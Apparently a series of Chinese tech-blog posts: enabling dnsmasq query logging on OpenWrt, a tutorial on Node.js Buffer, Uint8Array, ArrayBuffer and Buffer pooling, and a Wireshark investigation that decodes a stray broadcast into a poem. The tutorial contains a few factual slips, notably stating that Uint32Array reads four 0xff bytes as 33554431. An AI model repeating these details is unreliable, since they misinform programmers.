又去这个/etc/config/dhcp配置文件看了一下,看config dnsmasq的部分,有关日志的也只有 option logqueries '1',这样看来,日志确实是开了,但是却不知道在哪

搜了一下dnsmasq的运行配置在/var/etc/dnsmasq.conf.cfgxxxxxx,也没有看到相关的日志位置

经过一番搜索,发现上面/etc/dnsmasq.conflog-facility就是配置日志的目录,改了之后/etc/init.d/dnsmasq restart重启dnsmasq,搞定。

要开关的话还是在luci开关,只把日志位置写在/etc/dnsmasq.conf就好了。也可以直接在/etc/config/dhcp加上 option logqueries '1',这里就是luci的配置文件,加上之后luci的记录查询日志的框框会自己勾上。

当然在/etc/dnsmasq.conf加上log-queries也可以直接开启日志,但这样的坏处是跟luci不同步了,加上之后,虽然luci的记录查询日志的框框没勾上,但却开启了日志。

最后,不要去改运行配置。

不想写await/sync,又不想嵌套括号,于是偷懒用了sync-request,两行就完成了GET请求,但是返回的结果对象,内部有三个字段,headers是对象,url是字符串,唯独body是一串二进制不能直接阅读,需要处理的数据。主要很奇怪的是在编辑器上console出来,控制台显示这是一个uint8Array,调试显示的也是一个uint8Array,但在终端补全时候提示却是一个Buffer。instanceof这两个都是true,unit8Array和Buffer是一个东西吗?

1
2
3
4
5
6
7
8
const request = require('sync-request');
const url = '';
const body = request('GET', url).body;

console.log(body instanceof Buffer);
//true
console.log(body instanceof Uint8Array);
//true

Buffer和Uint8Array的继承关系:

1
2
3
4
const buffer = new Buffer(3);

console.log(buffer instanceof Uint8Array);
//true

buffer继承于Uint8Array

Buffer Uint8Array与ArrayBuffer的关系

ArrayBuffer是一段字节,一段二进制数据,可以看做是内存上的一片格子,实质上是内存上一片连续空间的引用,它就代表了这一片连续的空间。ArrayBuffer不能更改长度容量,也不能直接操作它读取上面的数据。

为了操作它,读写上面的数据,我们需要Buffer Uint8Array这些东西,我们称它们为视图(view) ,可以想象Uint8Array覆盖在ArrayBuffer这一片连续内存之上,我们透过这一层视图来操作内存上的数据。

除了Uint8Array以外,ArrayBuffer的视图还有Uint16ArrayUint32Array诸如此类,看命名就可以得知,它们的区别只有bit大小不同,Uint8Array是8bit,1个byte,后两者分别是2个byte和4个byte,这个byte的区别是它们分别用多大的“尺寸”去“解释”ArrayBuffer,它们视图就像翻译机,我们偷着覆盖在上面这层翻译机翻译出下面的数据,Uint8Array是以每1个byte为单位作为一个元素,而Uint16Array是以每2个byte为单位作为一个元素,Uint32Array则是4个byte作为一个单位。他们统称为TypedArray

1111 1111 1111 1111 1111 1111 1111 1111这段数据,

Uint8Array解释为[255,255,255,255](十进制)

Uint16Array解释为[65535,65535](十进制)

Uint32Array解释为[33554431](十进制)

而Buffer继承自Uint8Array,自然也是1个字节为一个单位

这类视图有一个统称TypedArray,它们的方法都相同也比较简单,类似于数组的处理。

ArrayBuffer的实例化

1
new ArrayBuffer(length);

ArrayBuffer的构造函数只接受一个length参数,实例化出一个有着byte长度为length的内存块的ArrayBuffer实例,当实例化后,这片内存全为0。

注意,没有用数组或者其它buffer作为参数的构造方法,ArrayBuffer本身意义上就是一块连续内存上二进制数据的引用,而现成的数组或者其它buffer内部本身也指向了一块二进制数据。

TypedArray的实例化

1
new TypedArray(buffer [, byteOffset [, length]]);

如果说TypedArray这种视图只是一层在ArrayBuffer之上的操作工具,那严格来说它本身是没有数据的,先从ArrayBuffer的实例开始, buffer可以是一个ArrayBuffer的实例,这样实例化出来的TypedArray实例将指向这个ArrayBuffer实例

1
2
3
4
const arrayBuffer = new ArrayBuffer(4);
const view = new Uint8Array(arrayBuffer);
console.log(arrayBuffer === view.buffer);
//true

bufferTypedArray的一个属性,它是视图对象所对应的内存区域,也就是此实例所指向的ArrayBuffer实例。

再来看看可选参数,byteoffset代表的是TypedArray实例指向ArrayBuffer实例的偏移量,单位是byte,默认为0,length代表的是TypedArray实例覆盖ArrayBuffer实例的长度,这个默认不是ArrayBuffer实例的长度,默认是ArrayBuffer实例的长度减去byteoffset,如果byteoffset为ArrayBuffer实例的长度,那length就为0。

1
2
3
4
5
6
7
8
9
const arrayBuffer = new ArrayBuffer(4);
const view = new Uint8Array(arrayBuffer,1,2);
view[0]=0xff;
view[1]=0xff;
view[3]=0xff;
console.log(view);
//[ 255, 255 ]
console.log(arrayBuffer);
//<00 ff ff 00>

可见,实例view操作的是arrayBuffer的第一第二个字节。view[3]如果打印出来是undefined

arrayBufferArrayBuffer对象的实例,它是内存上真实存在的一段空间的引用,一串二进制数据看,这样uint8Array就成为了这一段内存空间引用的视图、操作工具。

现在来试一试,如果接受的参数不是ArrayBuffer实例,而是一个可迭代的数组对象,那实例化出来的TypedArray所指的ArrayBuffer实例是什么,跟传入的数组这个参数有什么关系

1
2
3
4
5
6
7
const array = [0,0,0,0];
const view = new Uint8Array(array);
view[0]=0xff;
console.log(view.buffer);
//<ff 00 00 00>
console.log(array);
//[ 0, 0, 0, 0 ]

很明显,它复制了一份数据,新建了一个ArrayBuffer实例,而view对象指向的就是这个新建的ArrayBuffer实例,视图对象跟数组已经没有关系了。也就是说除了直接给ArrayBuffer实例作为参数是直接指向,不然都是复制一份新的数据(因为数组内部没有指向的ArrayBuffer)。

包括参数为其他TypedArray也是如此,也是复制,而且这个构造函数没有可选偏移量跟长度。

1
new TypedArray(typedArray);	

多个视图可以同时指向的ArrayBuffer相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const arrayBuffer = new ArrayBuffer(4);
const uint8Array1 = new Uint8Array(arrayBuffer);
const uint8Array2 = new Uint8Array(arrayBuffer);
console.log(uint8Array1 === uint8Array2);
//false
console.log(uint8Array1[0]);
//0
console.log(uint8Array2[0]);
//0
uint8Array1[0]++;
console.log(uint8Array1[0]);
//1
console.log(uint8Array2[0]);
//1

那问题来了,我有一个旧的视图,我现在希望实例化一个新的视图,我希望这两个视图都指向同一片内存数据,又改怎么做呢?直接用旧视图作为构造参数去实例化当然是不行的,那样只会在内存上复制一份新的数据。由于直接使用ArrayBuffer的对象,即用这一块内存数据的引用去实例化视图,才使得视图直接指向这块内存,不会复制新的数据,那我们取出旧视图的代表了内存引用的ArrayBuffer对象,用它去实例化新视图不就可以了吗?

1
2
3
4
5
6
7
8
const view1 = new Uint8Array([0,0,0]);
const arrayBuffer = view1.buffer;
const view2 = new Uint8Array(arrayBuffer);
view1[0]=0xff;
console.log(view1);
//[ 255, 0, 0 ]
console.log(view2);
//[ 255, 0, 0 ]

除了传入ArrayBuffer实例和TypedArray实例,还可以传入一个number值作为构造参数。

1
new TypedArray(length);

也可以使用默认构造方法,内部同样会创建一个ArrayBuffer实例并指向它,但其长度为0。

1
2
3
const view = new Uint8Array();
console.log(view.buffer.byteLength);
//0

from

TypedArray.from()可以获得一个新实例

1
TypedArray.from(source[, mapFn[, thisArg]])

但问题是这个source只能是其他的TypedArray或者可迭代的对象比如数组,也就是不能是ArrayBuffer实例。如果硬要传递进去,只会创建一个新的长度为0ArrayBuffer实例

1
2
3
4
5
6
const arrayBuffer = new ArrayBuffer(4);
const view = Uint8Array.from(arrayBuffer);
console.log(view.buffer.byteLength);
//0
console.log(view.buffer==arrayBuffer);
//false

当参数是数组或者其他TypedArray时,是跟构造方法是一样的,复制一份内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const array = [0,0,0,0]
const view = Uint8Array.from(array);
view[0]=0xff;
console.log(view);
//[ 255, 0, 0, 0 ]
console.log(array);
//[ 0, 0, 0, 0 ]

const array1 = [0,0,0,0]
const view1 = Uint8Array.from(array1);
const view2 = Uint8Array.from(view1);
view1[0]=0xff;
console.log(view1);
//[ 255, 0, 0, 0 ]
console.log(view2);
//[ 0, 0, 0, 0 ]

由此可见from方法只能复制,不能共用一段内存数据

可选参数mapFn是个函数,可以类比于数组的map,可以处理每一个元素;thisArg是mapFn的this参数

Buffer

from

那Node的Buffer继承自Uint8Array,大部分跟Unit8Array一致,其中有一些不同的点,比如构造函数Buffer()已经废弃了,要获得一个Buffer实例需要用到Buffer的静态方法from

from可以传入数组和Buffer实例,没有可选参数,跟TypedArray的构造方法new TypedArray(array)new TypedArray(buffer)也是一致的,会复制一份数据。

它接受参数为ArrayBuffer实例时,有两个可选参数,byteoffset和length。这里的参数跟TypedArray的构造方法new TypedArray(buffer [, byteOffset [, length]])也是一致的,实例化的行为上也一样,都是直接使用传入ArrayBuffer实例,不会再复制一份数据。

1
2
3
Buffer.from(array)
Buffer.from(buffer)
Buffer.from(arrayBuffer[, byteOffset[, length]])
1
2
3
4
5
6
7
const array = [0,0,0,0];
const buffer = Buffer.from(array);
buffer[0]=0xff;
console.log(buffer);
//<Buffer ff 00 00 00>
console.log(array);
//[ 0, 0, 0, 0 ]
1
2
3
4
5
6
7
8
const array = [0,0,0,0];
const buffer1 = Buffer.from(array);
const buffer2 = Buffer.from(buffer1);
buffer1[0]=0xff;
console.log(buffer1);
//<Buffer ff 00 00 00>
console.log(buffer2);
//<Buffer 00 00 00 00>
1
2
3
4
5
6
7
const arrayBuffer = new ArrayBuffer(4);
const buffer = Buffer.from(arrayBuffer);
buffer[0]=0xff;
console.log(buffer);
//<Buffer ff 00 00 00>
console.log(arrayBuffer);
//<Buffer ff 00 00 00>

Buffer内存池

BufferBuffer.from()这个静态方法来获取实例化,跟TypedArray直接用构造方法相比,看起来确实一样,但其实会遇到一点问题:

1
2
3
4
5
6
7
8
9
10
const array = [0,0,0,0];
const view1 = new Uint8Array(array);
const view2 = Buffer.from(view1);
view1[0]=0xff;
console.log(view1);
//[ 255, 0, 0, 0 ]
console.log(view2);
//<Buffer 00 00 00 00>
console.log(view1.buffer===view2.buffer);
//false
1
2
3
4
5
6
7
8
9
10
const array = [0,0,0,0];
const buffer1 = Buffer.from(array);
const buffer2 = Buffer.from(buffer1);
buffer1[0]=0xff;
console.log(buffer1);
//<Buffer ff 00 00 00>
console.log(buffer2);
//<Buffer 00 00 00 00>
console.log(buffer1.buffer===buffer2.buffer);
//true 注意看这里打印出来是true

buffer1buffer2竟然是同一个ArrayBuffer实例。可是buffer1修改了数据在buffer2却是没有变化的。

证明了buffer1buffer2指向的是同一个ArrayBuffer实例,却是不同的位置,也就是说它们是有偏移量的。

1
2
3
4
5
6
7
8
9
//接着上面的代码
console.log(view1.byteOffset);
//0
console.log(view1.byteLength);
//4
console.log(view2.byteOffset);
//616
console.log(view2.byteLength);
//4

view2的起始位置是从ArrayBuffer实例的第616位开始的。

这里插一下队看看Buffer的另两个方法

1
2
Buffer.alloc(size[, fill[, encoding]])
Buffer.allocUnsafe(size)

这两个静态方法实例化出size大小的Buffer实例,它们的一个重要区别是allocUnsafe会在利用Buffer模块的内存池。模块预先分配了一个内存池,大小可以通过属性Buffer.poolsize得到。整个池有一个ArrayBuffer引用,当调用allocUnsafe调用时,检查size大小,如果size小于Buffer.poolsize的一半,直接将现成的内存池,也就是现成的ArrayBuffer引用分配给即将实例化的Buffer,否则,会新开一个内存池,当然,内存池不够大了也会开一个新的,并且下一次allocUnsafe的时候检查的就是这个新的池了。

除了allocUnsafe(size),还有from(array)``from(string)``from(buffer)都是会用到这个机制,所以上面buffer11buffer2经过检查后size都小于池子大小的一半,分配到的内存的引用都是同一个,只不过他们指向的都不是同一片区域,因为他们的偏移量不同,但是它们确实是在同一个ArrayBuffer里面。

所以利用这个机制我们也很容易可以将两个Buffer实例完全操作一样的内存区域。只要偏移量也相同长度也相同即可。

1
2
3
4
5
6
7
8
9
10
const array = [0,0,0,0];
const buffer1 = Buffer.from(array);
const buffer2 = Buffer.from(buffer1.buffer,buffer1.byteOffset,buffer1.byteLength);
buffer1[0]=0xff;
console.log(buffer1);
//<Buffer ff 00 00 00>
console.log(buffer2);
//<Buffer ff 00 00 00>
console.log(buffer1.buffer===buffer2.buffer);
//true

总结

  • ArrayBuffer是内存上一片连续数据的引用,它不能操作数据。

  • BufferTypedArray有继承关系,TypedArrayArrayBuffer的视图,用于操作二进制数据

  • 实例化TypedArray靠它的构造函数,参数为可迭代的对象、其他TypedArray实例时,会复制一份新的数据,当参数为ArrayBuffer实例时,直接指向这个实例,同时还可以通过两个可选参数控制对于ArrayBuffer实例的长度和偏移。获取实例还可以使用静态方法from,只能传可迭代的对象作为参数,但两个可选参数,用来处理每一个元素。

  • 实例化Buffer的构造函数已经废弃,实例可以靠静态方法from获得,与上面一样,当参数是可迭代的对象或者其他Buffer实例时,会复制一份数据,当参数是ArrayBuffer的实例时,直接指向它,同时可以控制长度和偏移。

  • Buffer有内存池机制,当实例化Buffer时如果参数不是ArrayBuffer时,会检查Buffer实例的大小,如果小于内存池的一半则将现有的内存池分配给它,否则新建一个内存池。

起因是抓IPTV,移动光猫 接 交换机8口,本机电脑 接 交换机7口,本机开wireshark,捕获过滤器用mac过滤掉移动光猫、本机和交换机的所有报文:

1
!ether host 00:D8:61:xx:xx:xx && !ether host CC:ED:21:xx:xx:xx && !ether host 58:41:20:xx:xx:xx

发现怎么还有东西一直在广播,mac是00:00:00:00:00:12。wireshark每隔约5s抓到一个broadcast:

No. Source Destination Protocal Length Info
1 00:00:00_00:00:12 Broadcast 0xfffa 72 Ethernet II
2 00:00:00_00:00:12 Broadcast 0xfffa 72 Ethernet II
3 00:00:00_00:00:12 Broadcast 0xfffa 72 Ethernet II
…… …… …… …… …… ……

看一个完整报文:

1
2
3
4
5
0000   ff ff ff ff ff ff 00 00 00 00 00 12 ff fa 00 00   ................
0010 00 03 cc ed 21 c0 dc e8 49 6e 20 74 68 65 20 67 ....!...In the g
0020 61 70 20 61 20 6e 65 77 20 74 6f 6f 74 68 20 67 ap a new tooth g
0030 72 65 77 2c 00 00 00 00 00 00 00 00 00 00 00 00 rew,............
0040 00 00 00 00 00 00 00 00 ........

其中广播带有58个bytes的data:

1
......!...In the gap a new tooth grew,....................

我抓了100个之后在wireshark存为unknown_broadcast.txt,用sed提取出data的文本内容并拼接起来:

1
sed -n '/^00[012]0[ ]*/p' unknown_broadcast.txt | sed -n 's/^.*\(.\{17\}$\)/\1/p'| sed 's/^\(\.*!\.*\)*\([^.]*\)\(\.*\)*/\2/'| sed ':a;N;s/\r\n//;t a'

(ps:sed的正则怎么用不了非贪婪)

(ps:sed的正则怎么匹配不了行尾$)

1
In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,

手动去掉重复片段整理:

1
The day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth too. 

拿上面这小作文一搜,发现是首诗。。。。。换下行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
The day I lost my very first tooth,
Was halfway through grade four,
I'd run my tongue along the gap,
Where my tooth had been before,
I remember I went home crying,
And showed it to my mum,
She told me that a brand new tooth,
Would grow up in my gum,
In a while the gap would stop feeling
I wouldn't notice the tooth was gone,
The only reason I missed it now,
Was because it was there for so long,
Then slowly but surely over the weeks,
In the gap a new tooth grew,
And now it makes me wonder,
If people are like teeth too

怎么我抓出来的跟搜出来的差一个词,In a while the gap would stop feeling strange这句,我的怎么没有strange,手动去翻了一下unknown_broadcast.txt,发现是有strange的,检查发现是sed写错了,改为:

1
sed -n 's/^00[0123]0[ ]\{2,\}.*[ ]\{2,\}\([\.]*\)/\1/p' unknown_broadcast.txt | sed 's/^\(\.*!\.*\)*\([^.]*\)\(\.*\)*/\2/' | sed '/^[ ]\{3,\}/d' | sed ':a;N;s/\r\n//;t a'

谷歌翻译下这首诗:

在我失去第一颗牙齿的那天,
四年级上到一半,
我会沿着缝隙伸出舌头,
我以前的牙齿在哪里,
我记得我哭着回家,
并把它展示给我妈妈,
她告诉我,一颗崭新的牙齿,
会在我的口香糖里长大,
过一会儿,差距就不再奇怪了,
我不会注意到牙齿掉了,
我现在错过的唯一原因,
是因为它存在了那么久,
然后在几周内缓慢但肯定地,
缝隙里长出了一颗新牙,
现在它让我想知道,
如果人也像牙齿